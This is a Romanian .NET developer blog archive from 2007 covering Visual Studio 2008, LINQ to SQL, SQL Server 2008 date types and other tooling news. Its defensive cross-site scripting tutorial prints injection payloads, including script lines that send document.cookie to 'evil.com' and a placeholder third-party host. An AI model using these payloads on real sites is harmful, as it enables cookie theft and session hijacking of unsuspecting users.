luni, 10 decembrie 2007

ASP.NET 3.5 Extensions CTP

A aparut primul CTP de ASP.NET 3.5 Extensions care include:
- ASP.NET Ajax improvements
- ASP.NET MVC
- ASP.NET Dynamic Data Support
- ASP.NET Silverlight Support
- ADO.NET Data Services

Mai multe detalii despre ce contine acest CTP puteti citi pe blog-ul lui Scott Guthrie.

Poze Vatra Dornei




Chiar daca zapada prea multa nu am gasit, distractia a fost pe masura la Vatra Dornei ;-)

joi, 6 decembrie 2007

miercuri, 5 decembrie 2007

Videos - Visual Studio Team System

- Noutati

  1. TFS Source Control (573 KB)

- Administrare

  1. Setup Source Tree in TFS (3.7 MB)
  2. Structure Your ASP.NET Projects for TFS (3.8 MB)
  3. Workspace (827 KB)

- Branching

  1. Branching (1.33 MB)
  2. Migrate from VSS to TFS Source Control (3.4 MB)

- Shelving

  1. Shelving (906 KB)

ASP.NET 2.0 - security videos

Recent "cotrobaind" prin MSDN-ul online am gasit cateva filme despre securitatea in ASP.NET 2.0... sunt enorm de multe informatii pe internet despre ce probleme de securitate ar putea fi scapate in aplicatiile web si cum pot fi ele fixate, insa au si filmele rolul lor: combini studiul cu berea si popcorn-ul...

  1. Canonicalization (Length: 8:43 - Size: 7:00 MB)
  2. Cookies (Length: 10:35 - Size: 8:04 MB)
  3. Cross-Site Scripting (Length: 5:32 - Size: 4:34 MB)
  4. Regular Expressions (Length: 5:04 - Size: 5.64 MB)
  5. SQL Injection (Length: 6:01 - Size: 6.37 MB)
  6. Validation Controls (Length: 5:20 - Size: 4.02 MB)

luni, 3 decembrie 2007

ASP.NET MVC Framework

Pentru ca sunt multi cei care urmaresc evolutia upcoming-ului framework MVC pentru ASP.NET, Scott Guthrie a publicat partea a 2-a despre URL Routing si cum poate fi folosit acesta pentru a customiza URL-urile din aplicatia voastra.

Updated (12/6/2007): despre cum controller-ul paseaza datele la view puteti citi in partea a-3-a (autor tot Scott Guthrie)

duminică, 25 noiembrie 2007

Tipuri noi de date pentru date/time in SQL Server 2008

In versiunile 2000/2005 de SQL Server exista doua tipuri de date pentru salvat informatii de tip data/timp:
- datetime: valori permise intre 1/1/1753 - 31/12/2999 cu precizie de 3.33 milisecunde.
- smalldatetime: valori permise intre 1/1/1900 - 6/6/2079 cu precizie de 1 minut.

SQL Server 2008 introduce noi tipuri de date care rezolva partial problemele de precizie si timezone:
1. date: valori intre 1/1/0001 - 31/12/9999 cu precizie de 1 zi.
2. time: valori intre 00:00:00.0000000 - 23:59:99.9999999 cu precizie de 100 nanosecunde.
3. datetime2: reprezinta o combinatie intre tipurile date si time cu valori intre 1/1/0001 00:00:0000000 - 31/12/9999 23:59:99.9999999 cu precizie de 100 nanosecunde.
4. datetimeoffset: cu ajutorul acestui nou tip de date se pot salva datele impreuna cu offset-ul fata de UTC. Tipul nou permite valori intre 1/1/0001 00:00:00 - 31/12/9999 23:59:99.9999999 iar offset-ul intre -14:00 si +14:00.

Marele minus al datetimeoffset-ului e ca nu tine cont de Daylight Saving.

Cum sa generati clasele pentru LINQ to SQL

Daca vreti sa folositi LINQ to SQL in proiectul vostru, atunci fie va scrieti propriile clase pe care sa le mapati la modelul relational al tabelelor voastre, fie generati automat aceste clase.

Prima solutie e un exercitiu pentru cine vrea sa intre in detalii si sa inteleaga mai bine cum functioneaza LINQ: http://msdn2.microsoft.com/en-us/library/bb425822.aspx.

Varianta insa cea mai simpla, cea mai rapida, si la indemana tuturor, e ca object model-ul sa fie generat automat... iar aceasta poate fi facuta in doua moduri:

1. din Visual Studio 2008 se poate folosi O/R Designer-ul care este foarte usor de utilizat pentru ca permite drag & drop din Server Explorer in designer exact a entitatilor (tabele, view-uri, sp-uri sau functii) pe care vrem sa le folosim in proiectul nostru.

- click dreapta proiect -> Add New Item -> alegeti "LINQ to SQL classes"



- dupa ce s-a deschis editor-ul, navigati in Server Explorer la tabelele, view-urile, sp-urile sau functiile pe care vreti sa le folositi si le adaugati la model:

2. a doua varianta e sa folosim SQLMetal din command prompt-ul de la Visual Studio. Avantajul folosirii acestui tool e ca nu avem nevoie de Visual Studio instalat, el instalandu-se odata cu Windows SDK sau Visual Studio SDK.

Un exemplu de cum putem folosi aceasta comanda:

>sqlmetal
/server:sqlserver
/database:northwind
/user:sa /password:pass
/code:path\file.cs
/language:csharp

In plus se mai pot folosi urmatoarele optiuni:
/views -> pentru a adauga la model si view-urile din DB.
/sprocs -> pentru a genera procedurile.
/functions -> pentru a genera functiile.

miercuri, 21 noiembrie 2007

VS.NET 2008 SDK si AjaxControlToolkit

Daca ati reusit sa downloadati si sa va instalati Visual Studio 2008, atunci nu uitati de:
- VS.NET 2008 Training Kit care contine exemple si prezentari power point ale celor mai interesate imbunatatiri aduse acestei versiuni;
- Visual Studio.NET 2008 SDK 1.0 - un must-have pentru fiecare developer;
- AjaxControlToolkit 3.5 - compilat pentru a merge cu release-ul final de .NET Framework 3.5

marți, 20 noiembrie 2007

Ruby.NET 9.0

In paralel cu stirile foarte bune legate de lansarea versiunii finale de Visual Studio 2008, si iubitorii limbajului Ruby au o veste buna: a aparut versiunea 9.0 de Ruby.NET...

Una dintre cele mai mari imbunatatiri aduse acestei versiuni o reprezinta suportul pentru design-ul aplicatiilor WinForms integrat in Visual Studio. Insa pentru aceasta va trebui sa instalati si Visual Studio 2005 SDK 4.0.

Visual Studio 2008 Released To Manufacturing

Ieri a aparut RTM-ul de Visual Studio 2008. Pentru lista completa de imbunatatiri fata de versiunea anterioara, vizitati blog-ul lui Scott Guthrie.

Puteti downloada si folosi gratis una din versiunile Express:
- Visual C# 2008 Express Edition
- Visual C++ 2008 Express Edition
- Visual Basic 2008 Express Edition
- Visual Web Developer Express Edition
- All-in-One DVD

... sau daca sunteti subscris la MSDN puteti downloada:
- Visual Studio 2008 Professional Edition
- Visual Studio 2008 Standard Edition
- Visual Studio Team System 2008 Team Foundation Server Trial
- Visual Studio Team System 2008 Team Suite Trial
- Visual Studio Team System 2008 Test Load Agent Trial

Updated: Visual Studio 2008 Training Kit include 20 hands-on-labs, 28 prezentari si 20 de exemple pentru: LINQ, WCF, WF, WPF, CardSpace, Silverlight, ASP.NET Ajax, VSTO 3.0, TFS ;-)

marți, 6 noiembrie 2007

Microsoft Sync Framework

O alta noutate de la TechEd Barcelona (care se desfasoara in aceste zile) ar fi lansarea primului CTP de Sync Framework.

Ce este acest framework? Este un API care va permite dezvoltarea de aplicatii sincronizabile... oficialii M$ declarand ca va permite sincronizarea oricaror aplicatii, cu orice fel de date, folosind orice protocol de retea.

In principal acest framework va putea fi folosit in 2 scenarii:
- caching local al datelor care se modifica rar
- lucrul offline cu date (modificarile facute local sunt inregistrate si sincronizate in momentul conectarii la sursa principala de date).

Pentru mai multe informatii puteti citi blog-ul lui Steve Lasker sau puteti vedea prezentarile care au avut loc luni la TechEd 07... si bineinteles ca puteti downloada CTP-ul de Sync Framework.

luni, 5 noiembrie 2007

Mai aproape de RTM

O prima veste buna in deschiderea TechEd-ului din Barcelona: Somasegar a anuntat ca Visual Studio 2008 va fi Released to Manufacturing pana la sfarsitul acestei luni.

Insa lansarea propriu-zisa va avea loc abia pe 27 Februarie 2008, cand vor mai fi lansate si SQL Server 2008 si mult asteptatul Windows Server 2008. Pana atunci vor putea sa-l downloadeze si sa-l foloseasca doar cei care sunt subscrisi la MSDN.

miercuri, 31 octombrie 2007

Visual Studio 2008 Beta 2 VPC

Foarte important pentru cei care si-au downloadat masinile virtuale pentru a evalua Visual Studio 2008 Beta2 Team Suite si Visual Studio 2008 Beta 2 TFS: pe 1 noiembrie (adica AZI!) va expira sistemul de operare Windows Server 2003, iar dupa login veti primi un mesaj ca sistemul va face automat shutdown dupa 1 ora.

Au aparut insa noi versiuni ale masinilor virtuale pe care le puteti downloada:
- Visual Studio Team System 2008 Beta 2 Team Suite VPC
- Visual Studio Team System 2008 Beta 2 Team Suite & Team Foundation Server VPC

marți, 30 octombrie 2007

Vulnerabilitati de tip cross-site-scripting (XSS)

Intr-un blog anterior am prezentat foarte pe scurt un plugin nou aparut pentru Visual Studio, numit XSSDetect (momentan e in faza Beta), si care analizeaza codul identificand toate zonele care pot fi posibile surse pentru atacuri de tip XSS.

Ce inseamna insa XSS? Denumirea completa este Cross Site Scripting si reprezinta o vulnerabilitate particulara aplicatiilor web. Bazandu-se pe o astfel de vulnerabilitate, un utilizator (rau voitor:D) poate injecta cod javascript care se va executa cand "victimele" vor naviga pe acel site/pagina. O aplicatie web vulnerabila la atacuri XSS poate fi exploatata in doua moduri:

Stored XSS - se intalneste in aplicatii unde un utilizator introduce anumite informatii care vor fi vizualizate ulterior de catre altii. In acest tip de atac, utilizatorul care introduce informatiile poate injecta cod javascript care pe urma va rula in contextul utilizatorilor care vizualizeaza respectiva informatie.
Acest tip de vulnerabilitate se poate intalni in aplicatii de tip forum, guestbook, blog,

Reflected XSS - se intalneste in aplicatii unde parametrii primiti in URL (parametri de query string) sunt afisati in pagina fara a fi validati sau rescrisi corespunzator. Astfel un utilizator poate construi un URL care in final va injecta cod javascript in pagina, iar URL-ul va fi trimis "victimelor" prin email sau orice alta sursa de comunicare (comentarii la articole, forumuri etc).

Putem sa ne ferim de astfel de atacuri daca orice informatie citita de la utilizator este validata corespunzator (cel mai adesea folosind expresii regulate), iar orice informatie care este afisata in aplicatia noastra si care provine de la utilizatori (surse nesigure) este encodata.

Un exemplu de cod vulnerabil ar fi urmatorul:
<html>Hello, <%=Request.QueryString(“username”) %></html>

Un utilizator ar putea pasa ca parametru "username" in url urmatorul string:
<script>document.location = ”http://3rd_party_url/StealCookie.asp?Cookie=”+document.cookie;</script>

Asadar daca informatia care provine de la utilizatori este afisata intr-un document HTML, ea trebuie prelucrata diferit functie de contextul in care informatia este afisata in respectivul HTML.... mai exact:

- direct in body-ul html-ului;
Exemplu de cod vulnerabil - caracterele < si > nu sunt filtrate sau encodate:
<b>Your query '<script>evil_script()</script>' returned N results</b>

- ca valoare a unui atribut in general (de exemplu title, value);
Exemplu - ghilimelele nu sunt filtrate sau encodate:
<form ...
<input name="q" value="ABC"><script>evil_script()</script>">
</form>

- ca valoare a unui atribut ce primeste un Url/Uri (de exemplu src);
<img src="javascript:evil_script()">...</img>

- ca parametru de query string a unui Url;

- in codul JavaScript;
Exemplu - apostroafele nu sunt filtrate sau encodate:
<script>
var msg = 'ANC'; evil_script(); //';
</script>

- in headerele raspunsului HTTP.

Putem evita multe dureri de cap daca avem grija sa encodam informatia primita de la utilizator functie de contextul in care ea va fi afisata inapoi in pagina... astfel in HTML caracterele < > & " ' trebuie inlocuite cu &lt; &gt; &amp; &quot; respectiv &#39, iar in JavaScript in fata caracterelor \ ' " trebuie inserat un \ (backslash), iar CR (carriage returns), LF (line feeds) si tab-urile trebuie inlocuite cu \r, \n respectiv \t.

Pentru cei care cred ca Server.HtmlEncode elimina orice vulnerabilitate XSS, atentie ca aceasta functie nu encodeaza decat caracterele <, >, & " (cine nu ma crede, aruncati un ochi cu reflector-ul lui Lutz Roeder)... iar urmatorul cod va ramane vulnerabil chiar si dupa encoding:

<html>
<script language=”javascript”>
var myVar = <%=Server.HTMLEncode(Request.Querystring("myVar"))%>
</script>
</html>


Iar un utilizator ar putea pasa ca valoare a lui "abc" urmatorul string:
9; document.location='http://www.evil.com/StealCookie.asp?Cookie='+document.cookie

Happy securing your code!

vineri, 26 octombrie 2007

Google schimba algoritmul de calculare a PageRank-ului

Foarte recent am descoperit ca un site pe care-l administrez eu a suferit o schimbare brusca a PageRank-ului: a scazut instant de la 6 la 4.

Sunt mai multi factori care ar putea cauza o astfel de scadere a PR-ului, asa ca m-am pus pe treaba...
- primul test: m-a banat Google-ul pentru ca m-a prins trisand? Cu siguranta nu; altfel Google m-ar fi scos complet, nu doar ar fi scazut PR-ul.... si plus ca n-am trisat :D
- al doilea test: unul din site-urile catre care am link (outbound link) a fost penalizat. Asta da, ar putea fi o cauza... insa cum sa verific toate site-urile cu care am facut exchange link?

Si astfel cautand pe net dupa un astfel de tool, am descoperit de fapt ca cei de la Google au modificat algoritmul de calcul al PageRank-ului... oh, pheeew!

Puteti citi mai multe despre aceasta modificare a PR-ului aici, aici sau aici.

marți, 23 octombrie 2007

XSSDetect Beta

Sunteti dezvoltatori de aplicatii web? Atunci cu siguranta ati auzit de vulnerabilitati de tip Cross Site Scripting. Daca nu, atunci puteti citi despre XSS pe Wikipedia, sau articolul lui Dino Esposito din MSDN Magazine, sau pe blog-ul echipei ACE, sau pe MSDN:
- How To: Prevent Cross-Site Scripting in ASP.NET
- How To: Protect From Injection Attacks in ASP.NET
- How To: Use Regular Expressions to Constrain Input in ASP.NET

Revenind... Dar stiti cum sa va protejati codul de astfel de atacuri? Daca nu (sau chiar daca da, cu siguranta sunt cazuri care va/imi scapa), atunci puteti folosi un plugin pentru Visual Studio numit XSSDetect care analizeaza codul si identifica potentialele probleme care ar putea rezulta intr-un atac de tip XSS. Asadar nu mai asteptati si download-a-ti-l de-AICI.

vineri, 19 octombrie 2007

MIX UK 2007

In zilele de 11-12 Septembrie a avut loc in Londra MIX 2007... iar de azi sunt disponibile pentru download fimuletele de la toate sesiunile.

Cum sa dezvoltati aplicatii cu Silverlight, sa construiti interfete cu Expression Blend, sa dezvoltati aplicatii .NET 3.5 in Visual Studio 2008, ce inseamna RIA (Rich Interactive Applications), cum sa optimizati aplicatia dumneavoastra ca sa fiti usor gasit cu ajutorul motoarelor de cautare(SEO), toate sunt disponibile la download pe http://www.microsoft.com/uk/mix07/agenda.aspx. Enjoy!

joi, 4 octombrie 2007

Debugging mai avansat in Visual Studio 2008

Versiunea finala de Visual Studio 2008 (care probabil va deveni disponibila la sfarsitul acestui an, dar oficial va fi lansata pe 27 Februarie impreuna cu Windows Server 2008 si SQL Server 2008) va aduce o noutate in ceea ce priveste debugging-ul: va permite download-ul si incarcarea dinamica a simbolurilor de debug pentru aproape toate librariile din .NET. De altfel incepand cu .NET 3.5, Microsoft va face public codul sursa de la .NET Framework!

Si ce inseamna acest lucru pentru programatori? Inseamna ca in timpul debugging-ului vor putea folosi F11 (Step Into) pentru a intra si vedea cu exactitate ce se executa chiar si cand se apeleaza metode din librariile .NET Framework, iar aceasta va duce la o intelegere mai buna a claselor si metodelor care momentan le intelegem doar din MSDN (ca o paranteza, multi au folosit pana acuma reflectorul lui Roeder, deci lucrurile nu sunt 100% noi... ce va fi nou? vom avea totul integrat in Visual Studio, nu va trebui sa facem cautari prin librarii pentru ca se va ocupa debugger-ul de asta, vom vedea chiar si comentariile pe cod).

Sursa: Scott Guthrie.

marți, 2 octombrie 2007

Google Docs mai tare decat Office Live workspace?

La inceputul lunii Octombrie Microsoft a lansat Office Live Workspace, un tool online pentru salvarea, vizualizarea si partajarea documentelor Word, Excel si PowerPoint.

Insa ce-alegem? Google Docs sau Office Live?

Pro Google Docs:

  • Documentele nu pot fi create sau editate in Office Live, insa in Google Docs da.

    Mai mult Google Docs permite upload-ul mai multor tipuri de documente, fie ca sunt create cu Microsoft Word, fie Star Office... ce-i drept nu stie inca de formatele noi din Office 2007 (docx, pptx, xlsx).


Pro Office Live Workspace:

  • Google Docs impune o limita de aproximativ 500K / document, 10MB / prezentare si 1MB / spreadheet

    Office Live nu a declarat nici o limita a dimensiunii unui singur document, insa impune o limita de 250 MB la un numar mediu de 1000 documente.